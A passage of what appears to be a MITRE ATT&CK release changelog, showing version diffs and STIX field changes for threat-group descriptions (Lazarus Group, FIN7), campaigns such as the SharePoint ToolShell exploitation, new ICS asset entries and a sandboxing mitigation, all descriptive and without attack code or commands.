modified	2025-04-22 21:56:33.318000+00:00	2025-06-11 20:13:29.024000+00:00
x_mitre_version	4.1	4.2

[G1006] Earth Lusca

Current version: 2.1

Version changed from: 2.0 → 2.1

Details

values_changed
STIX Field	Old value	New Value
modified	2024-09-16 16:18:00.876000+00:00	2025-06-06 14:55:18.144000+00:00
x_mitre_version	2.0	2.1

ics-attack

Major Version Changes

[G0032] Lazarus Group

Current version: 5.0

Version changed from: 4.1 → 5.0

	Old Description			New Description
t	1	[Lazarus Group](https://attack.mitre.org/groups/G0032) is a	t	1	[Lazarus Group](https://attack.mitre.org/groups/G0032) is a
	>	North Korean state-sponsored cyber threat group that has bee		>	North Korean state-sponsored cyber threat group attributed t
	>	n attributed to the Reconnaissance General Bureau.(Citation:		>	o the Reconnaissance General Bureau (RGB). (Citation: US-CER
	>	US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Ko		>	T HIDDEN COBRA June 2017) (Citation: Treasury North Korean C
	>	rean Cyber Groups September 2019) The group has been active		>	yber Groups September 2019) [Lazarus Group](https://attack.m
	>	since at least 2009 and was reportedly responsible for the N		>	itre.org/groups/G0032) has been active since at least 2009 a
	>	ovember 2014 destructive wiper attack against Sony Pictures		>	nd is reportedly responsible for the November 2014 destructi
	>	Entertainment as part of a campaign named Operation Blockbus		>	ve wiper attack on Sony Pictures Entertainment, identified b
	>	ter by Novetta. Malware used by [Lazarus Group](https://atta		>	y Novetta as part of Operation Blockbuster. Malware used by
	>	ck.mitre.org/groups/G0032) correlates to other reported camp		>	[Lazarus Group](https://attack.mitre.org/groups/G0032) corre
	>	aigns, including Operation Flame, Operation 1Mission, Operat		>	lates to other reported campaigns, including Operation Flame
	>	ion Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta		>	, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Day
	>	Blockbuster) North Korean group definitions are known to h		>	s of Rain.(Citation: Novetta Blockbuster) North Korea’s cyb
	>	ave significant overlap, and some security researchers repor		>	er operations have shown a consistent pattern of adaptation,
	>	t all North Korean state-sponsored cyber activity under the		>	forming and reorganizing units as national priorities shift
	>	name [Lazarus Group](https://attack.mitre.org/groups/G0032)		>	. These units frequently share personnel, infrastructure, ma
	>	instead of tracking clusters or subgroups, such as [Andariel		>	lware, and tradecraft, making it difficult to attribute spec
	>	](https://attack.mitre.org/groups/G0138), [APT37](https://at		>	ific operations with high confidence. Public reporting often
	>	tack.mitre.org/groups/G0067), [APT38](https://attack.mitre.o		>	uses “Lazarus Group” as an umbrella term for multiple North
	>	rg/groups/G0082), and [Kimsuky](https://attack.mitre.org/gro		>	Korean cyber operators conducting espionage, destructive at
	>	ups/G0094).		>	tacks, and financially motivated campaigns.(Citation: Mandia
				>	nt DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Grou
				>	ps 2023)(Citation: JPCert Blog Laz Subgroups 2025)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 17:21:11.622000+00:00	2025-10-24 01:29:21.748000+00:00
description	[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094).	[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group attributed to the Reconnaissance General Bureau (RGB). (Citation: US-CERT HIDDEN COBRA June 2017) (Citation: Treasury North Korean Cyber Groups September 2019) [Lazarus Group](https://attack.mitre.org/groups/G0032) has been active since at least 2009 and is reportedly responsible for the November 2014 destructive wiper attack on Sony Pictures Entertainment, identified by Novetta as part of Operation Blockbuster. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster) North Korea’s cyber operations have shown a consistent pattern of adaptation, forming and reorganizing units as national priorities shift. These units frequently share personnel, infrastructure, malware, and tradecraft, making it difficult to attribute specific operations with high confidence. Public reporting often uses “Lazarus Group” as an umbrella term for multiple North Korean cyber operators conducting espionage, destructive attacks, and financially motivated campaigns.(Citation: Mandiant DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Groups 2023)(Citation: JPCert Blog Laz Subgroups 2025)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	4.1	5.0

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Mandiant DPRK Groups 2023', 'description': 'Michael Barnhart, Austin Larsen, Jeff Johnson, Taylor Long, Michelle Cantos, Adrian Hernandez. (2023, October 10). Assessed Cyber Structure and Alignments of North Korea in 2023. Retrieved August 25, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/north-korea-cyber-structure-alignment-2023'}
external_references		{'source_name': 'Mandiant DPRK Laz Org Breakdown 2022', 'description': 'Michael Barnhart, Michelle Cantos, Jeffery Johnson, Elias fox, Gary Freas, Dan Scott. (2022, March 23). Not So Lazarus: Mapping DPRK Cyber Threat Groups to Government Organizations. Retrieved September 9, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/mapping-dprk-groups-to-government/'}
external_references		{'source_name': 'JPCert Blog Laz Subgroups 2025', 'description': '佐々木勇人 Hayato Sasaki. (2025, March 25). Tempted to Classifying APT Actors: Practical Challenges of Attribution in the Case of Lazarus’s Subgroup. Retrieved August 25, 2025.', 'url': 'https://blogs.jpcert.or.jp/en/2025/03/classifying-lazaruss-subgroup.html'}

Minor Version Changes

[G0046] FIN7

Current version: 4.1

Version changed from: 4.0 → 4.1

	Old Description			New Description
t	1	[FIN7](https://attack.mitre.org/groups/G0046) is a financial	t	1	[FIN7](https://attack.mitre.org/groups/G0046) is a financial
	>	ly-motivated threat group that has been active since 2013. [		>	ly-motivated threat group that has been active since 2013. [
	>	FIN7](https://attack.mitre.org/groups/G0046) has primarily t		>	FIN7](https://attack.mitre.org/groups/G0046) has targeted th
	>	argeted the retail, restaurant, hospitality, software, consu		>	e retail, restaurant, hospitality, software, consulting, fin
	>	lting, financial services, medical equipment, cloud services		>	ancial services, medical equipment, cloud services, media, f
	>	, media, food and beverage, transportation, and utilities in		>	ood and beverage, transportation, pharmaceutical, and utilit
	>	dustries in the U.S. A portion of [FIN7](https://attack.mitr		>	ies industries in the United States. A portion of [FIN7](htt
	>	e.org/groups/G0046) was run out of a front company called Co		>	ps://attack.mitre.org/groups/G0046) was operated out of a fr
	>	mbi Security and often used point-of-sale malware for target		>	ont company called Combi Security and often used point-of-sa
	>	ing efforts. Since 2020, [FIN7](https://attack.mitre.org/gro		>	le malware for targeting efforts. Since 2020, [FIN7](https:/
	>	ups/G0046) shifted operations to a big game hunting (BGH) ap		>	/attack.mitre.org/groups/G0046) shifted operations to big ga
	>	proach including use of [REvil](https://attack.mitre.org/sof		>	me hunting (BGH), including use of [REvil](https://attack.mi
	>	tware/S0496) ransomware and their own Ransomware as a Servic		>	tre.org/software/S0496) ransomware and their own Ransomware-
	>	e (RaaS), Darkside. FIN7 may be linked to the [Carbanak](htt		>	as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Ca
	>	ps://attack.mitre.org/groups/G0008) Group, but there appears		>	rbanak](https://attack.mitre.org/groups/G0008) Group, but mu
	>	to be several groups using [Carbanak](https://attack.mitre.		>	ltiple threat groups have been observed using [Carbanak](htt
	>	org/software/S0030) malware and are therefore tracked separa		>	ps://attack.mitre.org/software/S0030), leading these groups
	>	tely.(Citation: FireEye FIN7 March 2017)(Citation: FireEye F		>	to be tracked separately.(Citation: FireEye FIN7 March 2017)
	>	IN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citati		>	(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBAN
	>	on: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spid		>	AK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: Cro
	>	er August 2021)(Citation: Mandiant FIN7 Apr 2022)		>	wdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7
				>	Apr 2022)(Citation: BiZone Lizar May 2021)

Details

values_changed
STIX Field	Old value	New Value
modified	2024-04-17 22:09:41.004000+00:00	2025-10-24 03:18:58.136000+00:00
description	[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has primarily targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, and utilities industries in the U.S. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)	[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, pharmaceutical, and utilities industries in the United States. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was operated out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to big game hunting (BGH), including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware-as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but multiple threat groups have been observed using [Carbanak](https://attack.mitre.org/software/S0030), leading these groups to be tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)(Citation: BiZone Lizar May 2021)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	4.0	4.1

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'BiZone Lizar May 2021', 'description': 'BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022.', 'url': 'https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319'}
x_mitre_contributors		Eric Loui, CrowdStrike Intelligence
x_mitre_contributors		Serhii Melnyk, Trustwave SpiderLabs

Campaigns

Description:

The SharePoint ToolShell Exploitation campaign was conducted in July 2025 and encompassed the first waves of exploitation against incompetely patched spoofing (CVE-2025-49706) and remote code execution (CVE-2025-49704) vulnerabilities affecting on-premises Microsoft SharePoint servers. Later patched and updated as CVE-2025-53770 and CVE-2025-53771, the ToolShell vulnerabilities were widely exploited including by China-based ransomware actor Storm-2603 and espionage actors Threat Group-3390 and ZIRCONIUM. SharePoint ToolShell Exploitation targeted multiple regions and industries including finance, education, energy, and healthcare across Asia, Europe, and the United States.(Citation: Microsoft SharePoint Exploit JUL 2025)(Citation: Palo Alto SharePoint Vulnerabilities JUL 2025)(Citation: Eye Research ToolShell JUL 2025)(Citation: ESET ToolShell JUL 2025)(Citation: Trend Micro SharePoint Attacks JUL 2025)

Minor Version Changes

[C0014] Operation Wocao

Current version: 1.2

Version changed from: 1.1 → 1.2

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:45.828000+00:00	2025-10-21 03:04:25.546000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	1.2

Patches

[C0024] SolarWinds Compromise

Current version: 1.1

Details

values_changed
STIX Field	Old value	New Value
modified	2024-09-03 18:50:55.787000+00:00	2025-09-19 15:16:28.463000+00:00
external_references[5]['description']	Mandiant. (2020, April 27). Assembling the Russian Nesting Doll: UNC2452 Merged into APT29. Retrieved March 26, 2023.	Mandiant. (2022, April 27). Assembling the Russian Nesting Doll: UNC2452 Merged into APT29. Retrieved March 26, 2023.
x_mitre_attack_spec_version	3.2.0	3.3.0

Assets

ics-attack

New Assets

[A0017] Distributed Control System (DCS) Controller

Current version: 1.0

Description:

A Distributed Control System (DCS) Controller is a microprocessor unit that is used to manage automation processes. DCS Controllers are often found in plants (chemical, manufacturing, oil and gas, etc.) where large scale continuous automation processes are required. A DCS Controller typically operates as part of a larger networked system with other DCS Controllers where each DCS Controller manages an individual part of a continuous process. In addition to these other controllers, DCS Controllers operate along side multiple other system components including system software, operator stations, and other embedded field controllers. The distributed nature of DCS Controllers provides scalability, redundancy, and improved process reliability. DCS Controllers are programmed using traditional process automation programming languages (IEC-61131).

[A0016] Firewall

Current version: 1.0

Description:

A gateway that limits access between networks in accordance with local security policy.

In ICS networks, firewalls can exist in multiple locations in the network architecture and serve a variety of purposes. The first, and often the most important, is the firewall segmenting the ICS network from the business network. This firewall acts as the primary network boundary point that controls the ingress/egress of network traffic between the ICS and business networks. This firewall may also be a single device connected to multiple network segments, where the firewall defines individual zones for the different network segments and can control access to the zones and between the zones. This can limit the ability of an adversary to traverse a network.

[A0018] Programmable Automation Controller (PAC)

Current version: 1.0

Description:

A Programmable Automation Controller (PAC) is an embedded programmable control device. PACs are designed to enable automation applications across integrated software applications, peer controllers (e.g., PLC), Human Machine Interfaces, and other systems. PACs often include advanced features for process control, motion control, drive control, and vision applications. PACs are programmed using traditional process automation programming languages (IEC-61131) and sometimes languages such as C and C++ to support more advanced controls.

[A0015] Switch

Current version: 1.0

Description:

A switch is a network device that connects endpoints (e.g., workstations, servers, HMIs, PLCs, etc.) so that they can communicate and share data and resources. Switches may operate at either Layer 2 or Layer 3 of the OSI Model and intelligently forward packets across the network based on the specified address (Media Access Control (MAC) address for Layer 2 and Internet Protocol (IP) address for Layer 3). Switches are typically used to define network segments and connect the devices within a particular level of the Purdue Model.

Major Version Changes

[A0008] Application Server

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_related_assets		[{'name': 'File Server', 'related_asset_sectors': ['General'], 'description': 'Server designed to house files within the ICS environment and/or securely transfer files between the ICS and enterprise networks.'}, {'name': 'License Server', 'related_asset_sectors': ['General'], 'description': 'Vendor-specific server that operates and maintains application licenses for different ICS applications to prevent computers from reaching across the ICS/enterprise network boundary directly.'}, {'name': 'Update / Patch Management Server', 'related_asset_sectors': ['General'], 'description': 'Server capable of providing updates and/or patches to computers with general purpose operating systems (e.g. MS Windows or Linux) within the ICS environment to prevent computers from reaching across the ICS/enterprise network boundary directly.'}, {'name': 'Domain Controller (DC)', 'related_asset_sectors': ['General'], 'description': 'MS Windows server used for enforcing security policies and role-based access control (RBAC) rules and managing identity and access management (IAM) policies within a network.'}, {'name': 'Database Server', 'related_asset_sectors': ['General'], 'description': 'MS Windows (primarily) server used for tracking long-term point information, control sheets, license information, trends, etc. Paired with a Domain Controller and in some cases may be installed on the same machine functioning as a domain controller. MS SQL & Oracle are common types of database software found. '}, {'name': 'Alarm Collector', 'related_asset_sectors': ['General'], 'description': 'Server that is a target of device/server alarms for a distributed system. Some workstations or servers may have the job as the alarm collector and may only be a process/service running on the machine. '}, {'name': 'Asset Management Server', 'related_asset_sectors': ['General'], 'description': 'A vendor-specific piece of software that collects information about vendor hardware or allows for configuration of that hardware (i.e., FactoryTalk Asset Center). May also be known as: Field Device Management. '}, {'name': 'Telemetry Server', 'related_asset_sectors': ['General'], 'description': 'Servers that collect Layer 2 communications or information and send via Layer 3 to other network segments or outside the control zone for collection (examples: PI Feeder, Remote Data Server). '}]

values_changed
STIX Field	Old value	New Value
modified	2023-10-04 17:46:20.340000+00:00	2025-10-22 15:13:16.424000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[A0007] Control Server

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

values_changed
STIX Field	Old value	New Value
modified	2023-10-04 18:09:59.538000+00:00	2025-10-21 19:58:01.290000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_related_assets[2]['name']	Supervisory controller	Supervisory Controller
x_mitre_related_assets[3]['description']	A DMS and EMS are electric sector specific devices that are commonly used to manage distribution and transmission-level electrical grids. These platforms typically integrate a SCADA server and HMI with domain-specific data analysis applications, such as state-estimation and contingency analysis (EMS), or voltage-var control or fault restoration (DMS).	A DMS and EMS are electric sector-specific systems that are commonly used to manage distribution and transmission-level electrical grids. These systems typically integrate a SCADA server and HMI with domain-specific data analysis applications, such as state-estimation and contingency analysis (EMS), or voltage-var control or fault restoration (DMS). These systems also maintain visibility (and in some cases control) through a variety of integrated and distributed automation systems.
x_mitre_version	1.0	2.0

iterable_item_added
STIX Field	Old value	New Value
x_mitre_platforms		Embedded
x_mitre_related_assets		{'name': 'Building Management / Automation System (BMS / BAS)', 'related_asset_sectors': ['General'], 'description': 'A controller (or set of controllers) that manages functionality for many common commercial / industrial buildings, such as heating, ventilation, and air conditioning (HVAC), lighting, elevators, etc.'}
x_mitre_related_assets		{'name': 'Manufacturing Execution System (MES)', 'related_asset_sectors': ['Manufacturing'], 'description': 'A controller that oversees the performance, efficiency, life cycle, and resourcing for a manufacturing process within the ICS environment at a facility. A MES may interact with an Enterprise Resource Planning (ERP) system in the business environment to coordinate resourcing and job planning.'}

[A0009] Data Gateway

Current version: 2.0

Version changed from: 1.0 → 2.0

	Old Description			New Description
t	1	Data Gateway is a device that supports the communication and	t	1	Data Gateway is a device that supports the communication and
	>	exchange of data between different systems, networks, or pr		>	exchange of data between different systems, networks, or pr
	>	otocols within the ICS. Different types of data gateways are		>	otocols within the ICS. Different types of data gateways are
	>	used to perform various functions, including: * <u>Proto		>	used to perform various functions, including: * <u>Proto
	>	col Translation:</u> Enable communication to devices that su		>	col Translation:</u> Enable communication to devices that su
	>	pport different or incompatible protocols by translating inf		>	pport different or incompatible protocols by translating inf
	>	ormation from one protocol to another. * <u>Media Convert		>	ormation from one protocol to another. * <u>Media Convert
	>	er:</u> Convert data across different Layer 1 and 2 network		>	er:</u> Convert data across different Layer 1 and 2 network
	>	protocols / mediums, for example, converting from Serial to		>	protocols / mediums, for example, converting from Serial to
	>	Ethernet. * <u>Data Aggregation:</u> Collect and combine		>	Ethernet. * <u>Data Aggregation:</u> Collect and combine
	>	data from different devices into one consistent format and p		>	data from different devices into one consistent format and p
	>	rotocol interface. Data gateways are often critical to the		>	rotocol interface. * <u>Data Mirroring:</u> Create a real-
	>	forwarding/transmission of critical control or monitoring d		>	time, exact copy of data streams from devices to a separate
	>	ata within the ICS. Further, these devices often have remote		>	destination for redundancy, monitoring, or backup purposes.
	>	various network services that are used to communicate acros		>	Data gateways are often critical to the forwarding/transmis
	>	s different zones or networks. These assets may focus on		>	sion of critical control or monitoring data within the ICS.
	>	a single function listed below or combinations of these func		>	Further, these devices often have remote various network ser
	>	tions to best fit the industry use-case.		>	vices that are used to communicate across different zones or
				>	networks. These assets may focus on a single function li
				>	sted below or combinations of these functions to best fit th
				>	e industry use-case.

Details

values_changed
STIX Field	Old value	New Value
modified	2023-10-04 18:08:33.386000+00:00	2025-10-21 19:43:43.474000+00:00
description	Data Gateway is a device that supports the communication and exchange of data between different systems, networks, or protocols within the ICS. Different types of data gateways are used to perform various functions, including: * Protocol Translation: Enable communication to devices that support different or incompatible protocols by translating information from one protocol to another. * Media Converter: Convert data across different Layer 1 and 2 network protocols / mediums, for example, converting from Serial to Ethernet. * Data Aggregation: Collect and combine data from different devices into one consistent format and protocol interface. Data gateways are often critical to the forwarding/transmission of critical control or monitoring data within the ICS. Further, these devices often have remote various network services that are used to communicate across different zones or networks. These assets may focus on a single function listed below or combinations of these functions to best fit the industry use-case.	Data Gateway is a device that supports the communication and exchange of data between different systems, networks, or protocols within the ICS. Different types of data gateways are used to perform various functions, including: * Protocol Translation: Enable communication to devices that support different or incompatible protocols by translating information from one protocol to another. * Media Converter: Convert data across different Layer 1 and 2 network protocols / mediums, for example, converting from Serial to Ethernet. * Data Aggregation: Collect and combine data from different devices into one consistent format and protocol interface. * Data Mirroring: Create a real-time, exact copy of data streams from devices to a separate destination for redundancy, monitoring, or backup purposes. Data gateways are often critical to the forwarding/transmission of critical control or monitoring data within the ICS. Further, these devices often have remote various network services that are used to communicate across different zones or networks. These assets may focus on a single function listed below or combinations of these functions to best fit the industry use-case.
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

iterable_item_added
STIX Field	Old value	New Value
x_mitre_platforms		Network
x_mitre_related_assets		{'name': 'Industrial Edge', 'related_asset_sectors': ['General'], 'description': 'Devices that may house a cellular or other type of communication stack that is outside the normal network path. May be bi-directional access by outside parties or unidirectional by design to allow for feeding of data to outside areas such as corporate, vendor, or cloud.'}

[A0006] Data Historian

Current version: 2.0

Version changed from: 1.0 → 2.0

	Old Description			New Description
t	1	Data historians, or historian, are systems used to collect a	t	1	Data historians, or historian, are systems used to collect a
	>	nd store data, including telemetry, events, alerts, and alar		>	nd store data, including telemetry, events, alerts, and alar
	>	ms about the operational process and supporting devices. The		>	ms about the operational process and supporting devices. The
	>	historian typically utilizes a database to store this data,		>	historian typically utilizes a database to store this data,
	>	and commonly provide tools and interfaces to support the an		>	and commonly provide tools and interfaces to support the an
	>	alysis of the data. Data historians are often used to suppor		>	alysis of the data. Data historians are often used to suppor
	>	t various engineering or business analysis functions and the		>	t various engineering or business analysis functions and the
	>	refore commonly needs access from the corporate network. Dat		>	refore commonly needs access from the corporate network. Dat
	>	a historians often work in a hierarchical paradigm where low		>	a historians often work in a hierarchical paradigm where low
	>	er/site level historians collect and store data which is the		>	er/site level historians collect and store data which is the
	>	n aggregated into a site/plant level historian. Therefore, d		>	n aggregated into a site/plant level historian. Therefore, d
	>	ata historians often have remote services that can be access		>	ata historians often have remote services that can be access
	>	ed externally from the ICS network.		>	ed externally from the ICS network. Many data historian vend
				>	ors have designed their software to securely transfer data b
				>	etween the ICS and business networks instead of requiring bu
				>	siness systems to access the data historian in the ICS netwo
				>	rk directly.

Details

values_changed
STIX Field	Old value	New Value
modified	2023-10-04 17:57:56.558000+00:00	2025-10-21 19:55:17.864000+00:00
description	Data historians, or historian, are systems used to collect and store data, including telemetry, events, alerts, and alarms about the operational process and supporting devices. The historian typically utilizes a database to store this data, and commonly provide tools and interfaces to support the analysis of the data. Data historians are often used to support various engineering or business analysis functions and therefore commonly needs access from the corporate network. Data historians often work in a hierarchical paradigm where lower/site level historians collect and store data which is then aggregated into a site/plant level historian. Therefore, data historians often have remote services that can be accessed externally from the ICS network.	Data historians, or historian, are systems used to collect and store data, including telemetry, events, alerts, and alarms about the operational process and supporting devices. The historian typically utilizes a database to store this data, and commonly provide tools and interfaces to support the analysis of the data. Data historians are often used to support various engineering or business analysis functions and therefore commonly needs access from the corporate network. Data historians often work in a hierarchical paradigm where lower/site level historians collect and store data which is then aggregated into a site/plant level historian. Therefore, data historians often have remote services that can be accessed externally from the ICS network. Many data historian vendors have designed their software to securely transfer data between the ICS and business networks instead of requiring business systems to access the data historian in the ICS network directly.
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[A0014] Routers

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

values_changed
STIX Field	Old value	New Value
modified	2023-10-16 18:49:26.400000+00:00	2025-10-21 19:56:56.316000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

iterable_item_added
STIX Field	Old value	New Value
x_mitre_platforms		Network

[A0001] Workstation

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

values_changed
STIX Field	Old value	New Value
modified	2023-09-28 14:23:52.358000+00:00	2025-10-21 19:58:23.607000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

iterable_item_added
STIX Field	Old value	New Value
x_mitre_platforms		Linux

Mitigations

enterprise-attack

Minor Version Changes

[M1048] Application Isolation and Sandboxing

Current version: 1.3

Version changed from: 1.2 → 1.3

	Old Description			New Description
t	1	Application Isolation and Sandboxing refers to the technique	t	1	Application Isolation and Sandboxing refers to the technique
	>	of restricting the execution of code to a controlled and is		>	of restricting the execution of code to a controlled and is
	>	olated environment (e.g., a virtual environment, container,		>	olated environment (e.g., a virtual environment, container,
	>	or sandbox). This method prevents potentially malicious code		>	or sandbox). This method prevents potentially malicious code
	>	from affecting the rest of the system or network by limitin		>	from affecting the rest of the system or network by limitin
	>	g access to sensitive resources and critical operations. The		>	g access to sensitive resources and critical operations. The
	>	goal is to contain threats and minimize their impact. This		>	goal is to contain threats and minimize their impact. This
	>	mitigation can be implemented through the following measures		>	mitigation can be implemented through the following measures
	>	: Browser Sandboxing: - Use Case: Implement browser sandbo		>	: Browser Sandboxing: - Use Case: Implement browser sandbo
	>	xing to isolate untrusted web content, preventing malicious		>	xing to isolate untrusted web content and prevent malicious
	>	web pages or scripts from accessing sensitive system files.		>	web pages or scripts from accessing sensitive system resourc
	>	- Implementation: Use tools like Google Chrome's built-in sa		>	es or initiating unauthorized downloads. - Implementation: U
	>	ndbox or deploy solutions like Bromium to secure user web in		>	se browsers with built-in sandboxing features (e.g., Google
	>	teractions. Application Virtualization: - Use Case: Deploy		>	Chrome, Microsoft Edge) or deploy enhanced browser security
	>	critical or high-risk applications in a virtualized environ		>	frameworks that limit the execution scope of active content.
	>	ment to ensure any compromise does not affect the host syste		>	Consider controls that monitor or restrict script-based fil
	>	m. - Implementation: Use application virtualization platform		>	e generation and downloads commonly abused in evasion techni
	>	s to run applications in isolated environments. Email Attac		>	ques like HTML smuggling. Application Virtualization: - Us
	>	hment Sandboxing: - Use Case: Route email attachments to a		>	e Case: Deploy critical or high-risk applications in a virtu
	>	sandbox environment to detect and block malware before deliv		>	alized environment to ensure any compromise does not affect
	>	ering emails to end-users. - Implementation: Integrate secur		>	the host system. - Implementation: Use application virtualiz
	>	ity solutions with sandbox capabilities to analyze email att		>	ation platforms to run applications in isolated environments
	>	achments. Endpoint Sandboxing: - Use Case: Run all downloa		>	. Email Attachment Sandboxing: - Use Case: Route email att
	>	ded files and applications in a restricted environment to mo		>	achments to a sandbox environment to detect and block malwar
	>	nitor their behavior for malicious activity. - Implementatio		>	e before delivering emails to end-users. - Implementation: I
	>	n: Use endpoint protection tools for sandboxing at the endpo		>	ntegrate security solutions with sandbox capabilities to ana
	>	int level.		>	lyze email attachments. Endpoint Sandboxing: - Use Case: R
				>	un all downloaded files and applications in a restricted env
				>	ironment to monitor their behavior for malicious activity. -
				>	Implementation: Use endpoint protection tools for sandboxin
				>	g at the endpoint level.

Details

values_changed
STIX Field	Old value	New Value
modified	2024-12-10 16:09:19.285000+00:00	2025-05-09 16:23:40.086000+00:00
description	Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. This mitigation can be implemented through the following measures: Browser Sandboxing: - Use Case: Implement browser sandboxing to isolate untrusted web content, preventing malicious web pages or scripts from accessing sensitive system files. - Implementation: Use tools like Google Chrome's built-in sandbox or deploy solutions like Bromium to secure user web interactions. Application Virtualization: - Use Case: Deploy critical or high-risk applications in a virtualized environment to ensure any compromise does not affect the host system. - Implementation: Use application virtualization platforms to run applications in isolated environments. Email Attachment Sandboxing: - Use Case: Route email attachments to a sandbox environment to detect and block malware before delivering emails to end-users. - Implementation: Integrate security solutions with sandbox capabilities to analyze email attachments. Endpoint Sandboxing: - Use Case: Run all downloaded files and applications in a restricted environment to monitor their behavior for malicious activity. - Implementation: Use endpoint protection tools for sandboxing at the endpoint level.	Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. This mitigation can be implemented through the following measures: Browser Sandboxing: - Use Case: Implement browser sandboxing to isolate untrusted web content and prevent malicious web pages or scripts from accessing sensitive system resources or initiating unauthorized downloads. - Implementation: Use browsers with built-in sandboxing features (e.g., Google Chrome, Microsoft Edge) or deploy enhanced browser security frameworks that limit the execution scope of active content. Consider controls that monitor or restrict script-based file generation and downloads commonly abused in evasion techniques like HTML smuggling. Application Virtualization: - Use Case: Deploy critical or high-risk applications in a virtualized environment to ensure any compromise does not affect the host system. - Implementation: Use application virtualization platforms to run applications in isolated environments. Email Attachment Sandboxing: - Use Case: Route email attachments to a sandbox environment to detect and block malware before delivering emails to end-users. - Implementation: Integrate security solutions with sandbox 